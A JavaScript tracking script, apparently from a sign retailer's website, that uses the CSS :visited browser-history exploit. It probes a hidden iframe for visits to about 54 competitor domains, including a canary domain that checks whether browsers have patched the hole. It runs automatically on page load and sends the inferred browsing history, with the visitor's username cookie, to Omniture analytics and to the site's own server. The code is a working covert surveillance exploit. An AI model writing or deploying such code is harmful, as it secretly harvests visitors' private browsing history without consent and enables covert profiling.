﻿/*
* This was modeled after SocialHistory's functionality, and then modified
*
*/

var Track = function (moreSites) {

    var sites = {
        "X": ["weknowthisdomainnamedoesnotexistsowecanseeifthexexploithasbeenfixedornot.com"], //don't remove this
        //see the Competitors table for ID/Url mapping
        "1": ["123print.com"],
        "2": ["247signstore.com"],
        "3": ["alwayssign.com"],
        "4": ["amazon.com"],
        "5": ["banner.com"],
        "6": ["banners.com"],
        "7": ["bannersonthecheap.com"],
        "8": ["bestdecal.com"],
        "9": ["bigdaddyssigns.com"],
        "10": ["closingtimesigns.com"],
        "11": ["custombanners.com"],
        "12": ["decaldriveway.com"],
        "13": ["decalfx.com"],
        "14": ["decalzone.com"],
        "15": ["deesign.com"],
        "16": ["designyourownsign.com"],
        "17": ["ebay.com"],
        "18": ["empirebanners.com"],
        "19": ["enoveltysigns.com"],
        "20": ["ezstreetsigns.com"],
        "21": ["fastrealestatesigns.com"],
        "22": ["halfpricebanners.com"],
        "23": ["jmsigns.com"],
        "24": ["labelmaster.com "],
        "25": ["magnets-4-less.com"],
        "26": ["makeadecal.com"],
        "27": ["mystreetsigns.com"],
        "29": ["oakleysign.com"],
        "30": ["onlinesigns.biz"],
        "31": ["postersigns.com"],
        "32": ["printrunner.com"],
        "33": ["psprint.com"],
        "34": ["safetysign.com"],
        "35": ["signazon.com"],
        "36": ["signoutfitters.com"],
        "37": ["signs2fit.com"],
        "38": ["signsdirect.com"],
        "39": ["signsonthecheap.com"],
        "40": ["speedysigns.com"],
        "41": ["speedysignsusa.com"],
        "42": ["stickercutting.om"],
        "43": ["streetsignplus.com"],
        "44": ["supercheapsigns.com"],
        "45": ["thepromohut.com"],
        "46": ["theyardsigns.com"],
        "47": ["trafficsignstore.com"],
        "48": ["uprinting.com"],
        "49": ["usa-traffic-signs.com"],
        "50": ["victorystore.com"],
        "51": ["vistaprint.com"],
        "52": ["wholesalemagneticsigns.com"],
        "53": ["worldsbestbanners.com"],
        "54": ["yardsignwholesale.com"]

    };

    for (var site in moreSites) {
        // If we don't have the site, create the URL list.
        if (typeof (sites[site]) == "undefined") sites[site] = [];

        // If the value is string, just push that onto the URL list.
        if (typeof (moreSites[site]) == "string")
            sites[site].push(moreSites[site]);
        else
            sites[site] = sites[site].concat(moreSites[site]);
    }

    var visited = {};
    var exploitFixed = false;


    function getStyle(el, scopeDoc, styleProp) {
        if (el.currentStyle)
            var y = el.currentStyle[styleProp];
        else if (window.getComputedStyle)
            var y = scopeDoc.defaultView.getComputedStyle(el, null).getPropertyValue(styleProp);
        return y;
    }

    function remove(el) {
        el.parentNode.removeChild(el);
    }

    // Code inspired by:
    // bindzus.wordpress.com/2007/12/24/adding-dynamic-contents-to-iframes
    function createIframe() {
        var iframe = document.createElement("iframe");
        iframe.style.position = "absolute";
        iframe.style.visibility = "hidden";

        document.body.appendChild(iframe);

        // Firefox, Opera
        if (iframe.contentDocument) iframe.doc = iframe.contentDocument;
        // Internet Explorer
        else if (iframe.contentWindow) iframe.doc = iframe.contentWindow.document;

        // Magic: Force creation of the body (which is null by default in IE).
        // Also force the styles of visited/not-visted links.
        iframe.doc.open();
        iframe.doc.write('<style>');
        iframe.doc.write("a{color: #000000; display:none;}");
        iframe.doc.write("a:visited {color: #FF0000; display:inline;}");
        iframe.doc.write('</style>');
        iframe.doc.close();

        // Return the iframe: iframe.doc contains the iframe.
        return iframe;
    }

    var iframe = createIframe();

    function embedLinkInIframe(href, text) {
        var a = iframe.doc.createElement("a");
        a.href = href;
        a.innerHTML = site;
        iframe.doc.body.appendChild(a);
    }

    for (var site in sites) {
        var urls = sites[site];
        for (var i = 0; i < urls.length; i++) {

            //add http:// if the user didn't include it
            if (urls[i].substr(0, 4) != "http")
                urls[i] = "http://" + urls[i];

            // You have to create elements in the scope of the iframe for IE.
            embedLinkInIframe(urls[i], site);

            // Automatically try variations of the URLS with and without the "www"
            if (urls[i].match(/www\./)) {
                var sansWWW = urls[i].replace(/www\./, "");
                embedLinkInIframe(sansWWW, site);
            } else {
                // 2 = 1 for length of string + 1 for slice offset
                var httpLen = urls[i].indexOf("//") + 2;
                var withWWW = urls[i].substring(0, httpLen) + "www." + urls[i].substring(httpLen);
                embedLinkInIframe(withWWW, site);
            }

        }
    }

    var links = iframe.doc.body.childNodes;
    for (var i = 0; i < links.length; i++) {
        // Handle both Firefox/Safari, and IE (respectively)
        var displayValue = getStyle(links[i], iframe.doc, "display");
        var didVisit = displayValue != "none";

        if (didVisit) {
            visited[links[i].innerHTML] = true;
        }
    }

    if (visited["X"] == true) {
        //the browser has fixed this exploit 
        visited = {};
        exploitFixed = true;
    }
    remove(iframe);

    return new (function () {
        var usedSites = [];
        for (var site in visited) {
            usedSites.push(site);
        }

        // Return an array of visited sites if you pass null. If you pass a string, then return a string joined with the separator
        this.visitedSites = function (pOptionalSeparator) {
            if (typeof (pOptionalSeparator) == "undefined" || pOptionalSeparator == null)
                return usedSites;
            return usedSites.join(pOptionalSeparator);
        }

        // Return true/false. If we didn't check the site, return -1.
        this.doesVisit = function (site) {
            if (typeof (sites[site]) == "undefined")
                return -1;
            return typeof (visited[site]) != "undefined";
        }

        var _checkedSites = [];
        for (var site in sites) {
            _checkedSites.push(site);
        }
        // Return a list of the sites checked.
        this.checkedSites = function () {
            return _checkedSites;
        }
        this.isExploitFixed = function () {
            return exploitFixed;
        }
    })();
}
function doTrack() {

    var sendDataToServer = false; //keep true for debugging and/or general testing to see how this is working at first
    var sendDataToOmniture = true; //let omniture know so we can make reports

    if (!sendDataToServer && !sendDataToOmniture)
        return;

    //var S_EVAR39_LASTRUN = "s_eVar39_t"; //set on the server

    //results from last run, set on the client
    var S_EVAR39_RESULTS = "s_eVar39";
    
    var start = new Date();
    var x = Track();
    var lastE39 = readCookie(S_EVAR39_RESULTS);
    var currentE39 = x.visitedSites(',');
    var etms = getElapsedTime(start);

    if (lastE39 != currentE39) { //we had a change

        createCookie(S_EVAR39_RESULTS, currentE39);

        if (sendDataToOmniture && typeof (s) != 'undefined') {
            var fixed = x.isExploitFixed();
            s.isExploitFixed = fixed;
            var fixed = x.isExploitFixed();
            var unused;
            if (typeof(lastE39) == "undefined" || lastE39 == null || lastE39 == "") {
                //first time
                unused = s.t({ eVar39: x.visitedSites(','), isExploitFixed: fixed });
                //unused = s.t({ eVar40: x.visitedSites('+'), isExploitFixed: fixed });
            } else {
                //this was a subsequent visit, and the site list changed
                //send omniture eVar41 and eVar42
                unused = s.t({ eVar41: x.visitedSites(','), isExploitFixed: fixed });
                //unused = s.t({ eVar42: x.visitedSites('+'), isExploitFixed: fixed });
            }
        }

        if (sendDataToServer) { //send data to our BAS servers
            var img = document.createElement("img");
            var bit = 0;
            if (x.isExploitFixed())
                bit = 1;
            img.setAttribute('src', "/Track.ashx?f=" + bit + "&etms=" + etms + "&v=" + x.visitedSites(',') + "&u=" + readCookie('username'));
            document.body.appendChild(img);
            img.parentNode.removeChild(img);
        } 
    }
}
function getElapsedTime(pDateStartInMs) {
    // sets difference date to difference of first date and second date
    diff = new Date();
    diff.setTime(Math.abs(pDateStartInMs - (new Date()).getTime()));
    return diff.getTime();
}
setTimeout(doTrack, 1000);

